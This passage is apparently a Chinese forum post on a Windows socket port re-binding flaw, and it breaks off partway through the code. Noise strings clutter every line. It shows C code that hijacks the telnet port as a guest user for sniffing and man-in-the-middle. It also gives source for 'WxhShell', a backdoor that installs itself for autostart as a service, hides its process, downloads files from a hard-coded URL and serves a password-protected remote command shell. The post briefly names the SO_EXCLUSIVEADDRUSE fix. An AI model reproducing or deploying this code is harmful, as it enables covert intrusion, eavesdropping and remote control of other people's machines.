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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &?>h#H222  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4O_z|K_k|  
eO;i1>  
  saddr.sin_family = AF_INET; <q hNX$t  
j)ZvlRi,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N ?Jr8  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4"1OtBU3  
d=V4,:=S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jm&?;~>O  
:0IxnK(r&  
  这意味着什么?意味着可以进行如下的攻击: q"ba~@<BEl  
c nvxTI<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _d6mf4M]5  
(1JZuR<?c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %Q5D#d"p`  
fl _k5Q'&p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b9ysxuUdS  
^4(CO[|c~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XSt5s06TM  
?GqFtNz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nV38Mj2U  
nP?=uGqCBq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  84L!r  
WS9n.opl}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5~k-c Ua  
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  #include C.L5\"%  
  #include N%;Q[*d@/  
  #include mXlXB#N  
  #include    Tj*o[2mD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?15k~1nA  
  int main() q_>DX,A  
  { (ii 5pnq  
  WORD wVersionRequested; ?"+' OOqik  
  DWORD ret; u~<>jAy  
  WSADATA wsaData; 3Zg=ZnF  
  BOOL val; j)Kk:BFFY  
  SOCKADDR_IN saddr; ^T'+dGU`  
  SOCKADDR_IN scaddr; [ /*$?PXt  
  int err; -qfd)A6]  
  SOCKET s; Zm%}AzM  
  SOCKET sc; ^*C6]*C}te  
  int caddsize; SAs'u"EB  
  HANDLE mt; ERL(>)  
  DWORD tid;   h 7kyz  
  wVersionRequested = MAKEWORD( 2, 2 ); aFo%B; 8m  
  err = WSAStartup( wVersionRequested, &wsaData ); T7m rOp  
  if ( err != 0 ) { aO "JT  
  printf("error!WSAStartup failed!\n"); W~W^$A  
  return -1; 0VoC|,$U  
  } )[9L|o5D  
  saddr.sin_family = AF_INET; {xEX_$nv  
   1|/2%IDUI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wVE"nN#  
e hxtNjA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Iay7Fkv  
  saddr.sin_port = htons(23); =6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~l6e&J  
  { &o4L;A#&  
  printf("error!socket failed!\n"); 5*g@;aR1  
  return -1; C+5^[V  
  } h^hEyrJw  
  val = TRUE; \vQ_:-A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _nx|ZJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P]y2W#Rs  
  { 9\Xl 3j!  
  printf("error!setsockopt failed!\n"); Qs% f6rL  
  return -1; _LK>3S qd  
  } [&{"1Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oAvJ"JH@i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,\=u(Y\I[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W_sDF; JP  
r<|\4zIo/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) snEkei|0  
  { .}Zmqz[  
  ret=GetLastError(); Ix *KL=MG  
  printf("error!bind failed!\n"); ~NTpMF  
  return -1; P@5^`b|  
  } H/, tE0ZV  
  listen(s,2); /(}V!0\?  
  while(1) D 'u+3  
  { 4a3f!G$  
  caddsize = sizeof(scaddr); ^mz_T+UOe  
  //接受连接请求 Pc(2'r@#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sztnRX_  
  if(sc!=INVALID_SOCKET) 6u.b?_u  
  { @+{S-iD"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NK4ven7/  
  if(mt==NULL) J]~fv9~P  
  { !t_,x=  
  printf("Thread Creat Failed!\n"); }j:ae \(  
  break; 7}lZa~/  
  } JPpYT~4  
  } ,v6Jr3  
  CloseHandle(mt); O%)9t FT  
  } (la   
  closesocket(s); L;f=\q"g  
  WSACleanup(); ^Qr P.l#pZ  
  return 0; ( ou:"Y  
  }   CX:^]wY  
  DWORD WINAPI ClientThread(LPVOID lpParam) fwnpmuJ  
  { s<dD>SU  
  SOCKET ss = (SOCKET)lpParam; o|}%pc3  
  SOCKET sc; I^wj7cFo5  
  unsigned char buf[4096]; Mu( Y6  
  SOCKADDR_IN saddr; QbNv+Eu5  
  long num; A,og9<+j-  
  DWORD val; ,mX|TI<*  
  DWORD ret; Y5NbY02E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @uE=)mP@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x2B"%3th0  
  saddr.sin_family = AF_INET; 7E5Dz7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KALg6DZe:  
  saddr.sin_port = htons(23); 'H'+6   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^VIUXa  
  { '; dW'Uwc  
  printf("error!socket failed!\n"); Hb+#*42v  
  return -1; ]p*) PpIl  
  } oe*&w9Y}&  
  val = 100; 55cldo   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yUSB{DLpla  
  { bGi_", 8  
  ret = GetLastError(); &+j^{a  
  return -1; LA?\~rh!  
  } 0xxzhlKNL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IeB6r+4|  
  { +.lWck  
  ret = GetLastError(); 8$v7|S6 z  
  return -1; ?Bzi#Z  
  } z;C=d(|nN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M',D  
  { U+"=  
  printf("error!socket connect failed!\n"); NN 6KLbC(  
  closesocket(sc); -k <9v.:  
  closesocket(ss); ^B5cNEO  
  return -1; dT)KvqX  
  } Dw=Z_+J  
  while(1) F!&pENQ  
  { ,GJ>vT)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5; PXF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j 3MciQ`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -t 6R!ZI  
  num = recv(ss,buf,4096,0); vif8 {S  
  if(num>0) %W4aKb?BT  
  send(sc,buf,num,0); mp,e9Nd;  
  else if(num==0) ]rg+n c3  
  break; T_x+sv=|X!  
  num = recv(sc,buf,4096,0); 'n[+r}3  
  if(num>0) 2d2@J{  
  send(ss,buf,num,0); ,![Du::1  
  else if(num==0) `8(h,aj;  
  break; v0C;j (2zb  
  } aw/7Z`   
  closesocket(ss); 6%kJDY.  
  closesocket(sc); 4`6c28K0?  
  return 0 ; Wzqb>.   
  } [2'm`tZL  
< m enABN4  
30?LsYXL62  
========================================================== =zm0w~']E!  
sm;E2BR$ `  
下边附上一个代码,,WXhSHELL {^cF(7p  
JOrELrMx  
========================================================== ypD<2z^  
F gWkcV6B  
#include "stdafx.h" (Pv`L  
({%oi h  
#include <stdio.h> y9C;T(oi;  
#include <string.h> [1b6#I"x  
#include <windows.h> K`QOU-M@}  
#include <winsock2.h> ;&Bna#~B  
#include <winsvc.h> F qeV3 N  
#include <urlmon.h> VG_uxKY  
+yf(Rs)!  
#pragma comment (lib, "Ws2_32.lib") )jyq{Jb  
#pragma comment (lib, "urlmon.lib") R_Zv'y6  
T'ED$}N>~  
#define MAX_USER   100 // 最大客户端连接数 lPM3}52Xu  
#define BUF_SOCK   200 // sock buffer fdlvn*H  
#define KEY_BUFF   255 // 输入 buffer YD&|1h  
Q [r j  
#define REBOOT     0   // 重启 q#P$'7"  
#define SHUTDOWN   1   // 关机 S4cpQq.  
E7Ibp79}N  
#define DEF_PORT   5000 // 监听端口 1T ( u  
L0rip5[;d  
#define REG_LEN     16   // 注册表键长度 n(g)UNx  
#define SVC_LEN     80   // NT服务名长度 9O;cJ)tXY  
9\HR60V  
// 从dll定义API l DN"atSf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'Qa5n\HX$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a1Hz3y~S/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [J^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~q)u(W C|  
!8sgq{x((  
// wxhshell配置信息 Ck\7F?S  
struct WSCFG { 0}{'C5  
  int ws_port;         // 监听端口 rQ/ ,XH  
  char ws_passstr[REG_LEN]; // 口令 ? B@&#E!/f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'OwyyPBF  
  char ws_regname[REG_LEN]; // 注册表键名 e  ^Ds  
  char ws_svcname[REG_LEN]; // 服务名 8) N@qUV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q_]d5pl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $&{ti.l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7tNc=,x}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LCs__.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K=dR%c(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O:'?n8rWL  
"9IYB)Js  
}; Yw'NX5#)g  
Fk "Ee&H)(  
// default Wxhshell configuration xe4Oxo  
struct WSCFG wscfg={DEF_PORT, P?LlJ 5hn  
    "xuhuanlingzhe", YAVy9$N-  
    1, hB9Ee@  
    "Wxhshell", /J3ZL[o?Q  
    "Wxhshell", oR .cSGh  
            "WxhShell Service", 7j$Pt8$  
    "Wrsky Windows CmdShell Service", tz^/J=)"  
    "Please Input Your Password: ", GOT1@.Y  
  1, &<y2q/U}  
  "http://www.wrsky.com/wxhshell.exe", K+Y^>N4m  
  "Wxhshell.exe" 'G&{GVbXY  
    }; yWDTjY/  
G{Yz8]m  
// 消息定义模块 2I/xJ+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cx<0 H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 B@n{PvR0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \1"'E@+  
char *msg_ws_ext="\n\rExit."; ~y HU^5D  
char *msg_ws_end="\n\rQuit."; ^y!;xc$(Qs  
char *msg_ws_boot="\n\rReboot..."; ]rehW}  
char *msg_ws_poff="\n\rShutdown..."; \u,}vpp z  
char *msg_ws_down="\n\rSave to "; p)aeH`;O  
#:jb*d?  
char *msg_ws_err="\n\rErr!"; Tm}rH]F&  
char *msg_ws_ok="\n\rOK!"; te|? )j  
}jH7iyjD  
char ExeFile[MAX_PATH]; YB<*"HxM)}  
int nUser = 0; qgIb/6;xQ  
HANDLE handles[MAX_USER]; r={c,i  
int OsIsNt; z]B]QB Y[  
$`ZzvZ'r  
SERVICE_STATUS       serviceStatus; zgx&Pte  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5oEV-6  
x:-.+C%  
// 函数声明 L86n}+ P\  
int Install(void); O[tvR:Nh  
int Uninstall(void); P-F)%T[  
int DownloadFile(char *sURL, SOCKET wsh); XO#/Fv!  
int Boot(int flag); T134ZXqqz  
void HideProc(void); mxor1P#|  
int GetOsVer(void); %CWPbk^  
int Wxhshell(SOCKET wsl); SJD@&m%?[  
void TalkWithClient(void *cs); P96pm6H_;  
int CmdShell(SOCKET sock); EY*(Bw  
int StartFromService(void); HhO".GA  
int StartWxhshell(LPSTR lpCmdLine); %ZHP2j %~  
;&H4u)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 21k5I #U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YK|bXSA[  
8DP+W$  
// 数据结构和表定义 {U&.D [{&  
SERVICE_TABLE_ENTRY DispatchTable[] = !9 fz(9  
{ Ol4+_n8xj  
{wscfg.ws_svcname, NTServiceMain}, ss;R8:5  
{NULL, NULL} 5 ae2<Y=  
}; h iNEJ_f  
j*~T1i  
// 自我安装 >2#8B  
int Install(void) wAnb Di{W  
{ zYl#4O`=c  
  char svExeFile[MAX_PATH]; sz9L8f2  
  HKEY key; `/Y{ l  
  strcpy(svExeFile,ExeFile); <&)v~-&O  
@A)R_p  
// 如果是win9x系统,修改注册表设为自启动 qJ0fQI\  
if(!OsIsNt) { eh"3NRrN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 42]pYm(jk3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^MBm==heL  
  RegCloseKey(key);  ~c6}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 610D% F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aL\nT XakX  
  RegCloseKey(key); J,b&XD@m  
  return 0; Wb S4pdA  
    } 6~*9;!th  
  } G7D2{J{1  
} 4lZ$;:Jg  
else { $0arz{Oh  
2B,] -Mu)  
// 如果是NT以上系统,安装为系统服务 r-h#{==*c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >MPr=W%E  
if (schSCManager!=0) ZY:[ekm%4Z  
{ 1h.)#g?{  
  SC_HANDLE schService = CreateService |{,KRO0P  
  ( 5O`dO9g}$  
  schSCManager, t=xOQ 8  
  wscfg.ws_svcname, [CAR[ g&  
  wscfg.ws_svcdisp, Vx @|O%  
  SERVICE_ALL_ACCESS, F4e:ZExJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ApjOj/  
  SERVICE_AUTO_START, 5aa<qtUjH  
  SERVICE_ERROR_NORMAL, (!:cen~|[  
  svExeFile, T7f ${  
  NULL, hS9;k9w  
  NULL, 8iekEG$H  
  NULL, B*E2.\~  
  NULL, Dr6A ,3B  
  NULL `8FUX= Sh  
  ); T,$WlK Wj  
  if (schService!=0) [b$4Shx  
  { WQHd[2Z#e  
  CloseServiceHandle(schService); |`;54_f  
  CloseServiceHandle(schSCManager); !\ g+8>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SvR7e C  
  strcat(svExeFile,wscfg.ws_svcname); 'KPASfC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f0T ,ul,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5pn)yk~  
  RegCloseKey(key); (xq%  
  return 0; }ZqW@ -  
    } F0690v0mB[  
  } Sua[O$  
  CloseServiceHandle(schSCManager); 1J' 3g  
} )7:J[0ZiQ  
} `N5|Ho*C  
A7c/N=Cp^  
return 1; ./$cMaDJ  
} C XHy.&Vt  
TW^/sx  
// 自我卸载 z.rh]Zq  
int Uninstall(void) 1 tR_8lC  
{ Zec <m8~  
  HKEY key; OnWx#84  
>*wtbkU  
if(!OsIsNt) { 5 Qoew9rA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Yl;  
  RegDeleteValue(key,wscfg.ws_regname); b^[F""!e  
  RegCloseKey(key); W Yc7aciJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { al 20V  
  RegDeleteValue(key,wscfg.ws_regname); 6K-5g/hL  
  RegCloseKey(key); K6olYG>  
  return 0; 1xc~`~  
  } aTzjm`F0  
} "l >Igm  
} y ^;l*qq  
else { }(<%`G6N  
4H+Ked&Oq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [{r}u  
if (schSCManager!=0) @zgdq  
{ A_;8IlW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -WQ^gcO=7  
  if (schService!=0) !pJeA)W;  
  { a {ab*tM  
  if(DeleteService(schService)!=0) { {-A^g!jT&  
  CloseServiceHandle(schService); #Oha(mRY  
  CloseServiceHandle(schSCManager); S\CRG>  
  return 0; 'Z`$n8  
  } z]3 `*/B  
  CloseServiceHandle(schService); Ys!>+nL|  
  } r &Ca" dI  
  CloseServiceHandle(schSCManager); +`uY]Q ,O  
} vzn{h)D  
} KFZm`,+69  
<|?K%FP7Z  
return 1; {s3z"OV  
} 0R0{t=VJZ  
}Yv\0\~'W|  
// 从指定url下载文件 kcDyuM`  
int DownloadFile(char *sURL, SOCKET wsh) L^^4=ao0  
{ rfw-^`&{  
  HRESULT hr; 8_K6 0eXz  
char seps[]= "/"; B-d(@7,1  
char *token; 1oKfy>ie  
char *file; ouHu8)q'r  
char myURL[MAX_PATH]; A?Wk  w f  
char myFILE[MAX_PATH]; %c)[ kAU!  
Dr;iQkGP  
strcpy(myURL,sURL); u =gt<1U  
  token=strtok(myURL,seps); 6bBdIqGb}  
  while(token!=NULL) gh6d&ucQ^  
  { Npn=cLC&  
    file=token; wY"o`o Z  
  token=strtok(NULL,seps); c<#<k}y  
  } w{ `|N$  
j8 C8X$  
GetCurrentDirectory(MAX_PATH,myFILE); }1-I[q6  
strcat(myFILE, "\\"); s=Q(C[%I  
strcat(myFILE, file); CVXytS?@x  
  send(wsh,myFILE,strlen(myFILE),0); &W }<:WH~  
send(wsh,"...",3,0); ~2 u\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nT#JOmv  
  if(hr==S_OK) s~26  
return 0; f=J<*h  
else 6k?`:QK/sl  
return 1; f c6g  
x O7IzqY  
} A<YsfDa_d  
-Cid3~mX3  
// 系统电源模块 2k#t .-  
int Boot(int flag) !p 8psi0  
{ t^E hE  
  HANDLE hToken; wb"RB A9  
  TOKEN_PRIVILEGES tkp; ZEbLL4n  
AW5iV3  
  if(OsIsNt) { kpob b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [6(Iwz?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ua*&_~7kJ  
    tkp.PrivilegeCount = 1; j nwQV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hlj6$%.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #WE]`zd  
if(flag==REBOOT) { k4KHS<n0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +lO'wa7|3  
  return 0; g8pm2o@S  
} >HkhAJhW  
else { m$y]Lf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rPq<Xb\  
  return 0; F!KV\?eM$  
} \k&1*b?h  
  } oJaAM|7uv  
  else { Pl~P-n  
if(flag==REBOOT) { ^>r^3C)_-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xNdIDj@  
  return 0; -a) T6:e  
} _GbE ^  
else { fCEz-TMW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) StQ@g  
  return 0; ,# "(Z  
} U|fTb0fB  
} ! sYf<  
B7 "Fp  
return 1; ?ei%RWo  
} XNmQ?`.2'  
\5[-Ml  
// win9x进程隐藏模块 r<FQX3  
void HideProc(void) cgNt_8qC  
{ x1DVD!0~{  
Hcl"T1N*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {,V$*  
  if ( hKernel != NULL ) Kx]> fHK  
  { t.z$j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;nf&c;D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R@ QQNYU.D  
    FreeLibrary(hKernel); i=da,W=0  
  } LkaG[^tfN  
"#XtDpGk  
return; ?cBO6^  
} }vsO^4Sjc  
%AgA -pBp  
// 获取操作系统版本 >x?2Fz.  
int GetOsVer(void) #J~Xv:LgD  
{ =L16hDk o  
  OSVERSIONINFO winfo; r9 ;`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C*j9Iaj  
  GetVersionEx(&winfo); Z3 n~&!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z"av|(?d  
  return 1; O"QHb|j  
  else a],h<wGEx  
  return 0; _jDS"  
} V@Kn24''  
Q%M_   
// 客户端句柄模块 _y-B";Vmm  
int Wxhshell(SOCKET wsl) wzxdVn 'S  
{ rV U:VL`2  
  SOCKET wsh; To^# 0  
  struct sockaddr_in client; OT%V{hD  
  DWORD myID; 6mAB(X^+  
@jKDj]\  
  while(nUser<MAX_USER) )8bFGX7|  
{ ,P!D-MN$V  
  int nSize=sizeof(client); 3~:0?Zuq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "kU>~~y,  
  if(wsh==INVALID_SOCKET) return 1; l JlZHO  
Vl4Z_viNH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |a>}9:g,=*  
if(handles[nUser]==0) db^aL8  
  closesocket(wsh); yqYhe-"  
else ^pN 5NwC5  
  nUser++; @kz!{g]Sn  
  } d4% `e&K]'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b h*^{  
% mJ~F*Dy  
  return 0; q[Vi[b^F  
} IO*l vy  
\hrrPPD1z  
// 关闭 socket 8.[&wy U  
void CloseIt(SOCKET wsh) bI#<Ee0nJ  
{ W  _J&M4  
closesocket(wsh); ENO? ;  
nUser--; wKGo gf[(%  
ExitThread(0); RZW$!tyI=  
} 5GaoJ v  
8W;xi:CC  
// 客户端请求句柄 ;*W=c   
void TalkWithClient(void *cs) qQL.c+%L  
{ UlnyTz~  
KUF$h Er  
  SOCKET wsh=(SOCKET)cs; ]7v81G5E  
  char pwd[SVC_LEN]; Wx}M1&d/J  
  char cmd[KEY_BUFF]; /8=:qIJYA  
char chr[1]; #FEa 5  
int i,j; |3 ;u"&(P  
h (qshbC}  
  while (nUser < MAX_USER) { ud yAP>  
`0Yt1Z&  
if(wscfg.ws_passstr) { mm_^gQ,`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XO0>t{G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6`_!?u7  
  //ZeroMemory(pwd,KEY_BUFF); D*CIE\+  
      i=0; o>0O@NE  
  while(i<SVC_LEN) { >~h>#{&  
VPWxHVf  
  // 设置超时 EbG_43SV  
  fd_set FdRead; 8oa)qaG1  
  struct timeval TimeOut; ;0;3BH A  
  FD_ZERO(&FdRead); -T2~W!  
  FD_SET(wsh,&FdRead); s`;0 t YG  
  TimeOut.tv_sec=8; C5>{Q:.`e'  
  TimeOut.tv_usec=0; m~##q}LZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {An8/"bv}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &1*4%N@'  
7X(rLd 6#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rl y jOf{0  
  pwd=chr[0]; )!N2'Ld  
  if(chr[0]==0xd || chr[0]==0xa) { ooomi"u  
  pwd=0; N =x]A C,  
  break; / c +,  
  } ;>inT7?3|  
  i++; #D/$6ah~m  
    } -zPm{a  
BXT 80a\  
  // 如果是非法用户,关闭 socket RcY6V_Qx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L.SDMz  
} )WaX2uDA?  
qRgK_/[]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); | \Ab L!u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R"m.&%n  
U#8\#jo  
while(1) { dD[v=Z_  
uOyLC<I/  
  ZeroMemory(cmd,KEY_BUFF); )EhTM-1  
h{Oz*Bq  
      // 自动支持客户端 telnet标准   K.:6YXVs<  
  j=0; p3V9ikyy  
  while(j<KEY_BUFF) { UeMnc 5y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g|tNa/  
  cmd[j]=chr[0]; +i:  E  
  if(chr[0]==0xa || chr[0]==0xd) { {KW&wsI  
  cmd[j]=0; M /n[&  
  break; V->.|[J  
  } B(S5+Y  
  j++; sqm%iyC=q  
    } Q'FX:[@x-S  
M3hy5 j(b  
  // 下载文件 w k-Mu\  
  if(strstr(cmd,"http://")) { h-z%C6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vS~AxeW/7R  
  if(DownloadFile(cmd,wsh)) ;yRwoTc)Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-C6pZN(X  
  else (1j(* ?2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;s}-X_O<  
  } ,\|n=T,  
  else { 5A0K V7N5  
Da9*/  
    switch(cmd[0]) { MuCQxzvkhf  
  I T*fjUY&  
  // 帮助 2jI4V;H8g  
  case '?': { p[ks} mca@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t9KH|y  
    break; 0hH Iz4(  
  } }0k"Sw X  
  // 安装 pHI%jHHJ  
  case 'i': { "2y7&#l   
    if(Install()) Mft0D j/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')C _An>X6  
    else S&4w`hdD>~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8V(N2  
    break; S*~Na]nS0  
    } LM'*OtpDG  
  // 卸载 zJB+C=]D7H  
  case 'r': { Li?{e+g  
    if(Uninstall()) S>/I?(J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (P]^8qc  
    else : L6-{9$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )_x8?:lv  
    break; @&am!+z  
    } 1s^$oi}  
  // 显示 wxhshell 所在路径 ^)eessZ  
  case 'p': { Gaw,1Ow!`2  
    char svExeFile[MAX_PATH]; 3rXL0&3w%  
    strcpy(svExeFile,"\n\r"); mCEKEX  
      strcat(svExeFile,ExeFile); P:zEx]Y%  
        send(wsh,svExeFile,strlen(svExeFile),0); .R<s<]  
    break; %8z+R m,Ot  
    } B?/12+sR  
  // 重启 EF_h::A_  
  case 'b': { P /f ~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H|(*$!~e  
    if(Boot(REBOOT)) d~Z:$&r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \nWzn4f  
    else { 6):sO/es  
    closesocket(wsh); D@YM}HXuj  
    ExitThread(0); ^<5^9]x  
    } FZ}C;yUPD  
    break; $fU/9jTa  
    } +Fkx")  
  // 关机 b`;b}ug  
  case 'd': { `OF ;>u*:  
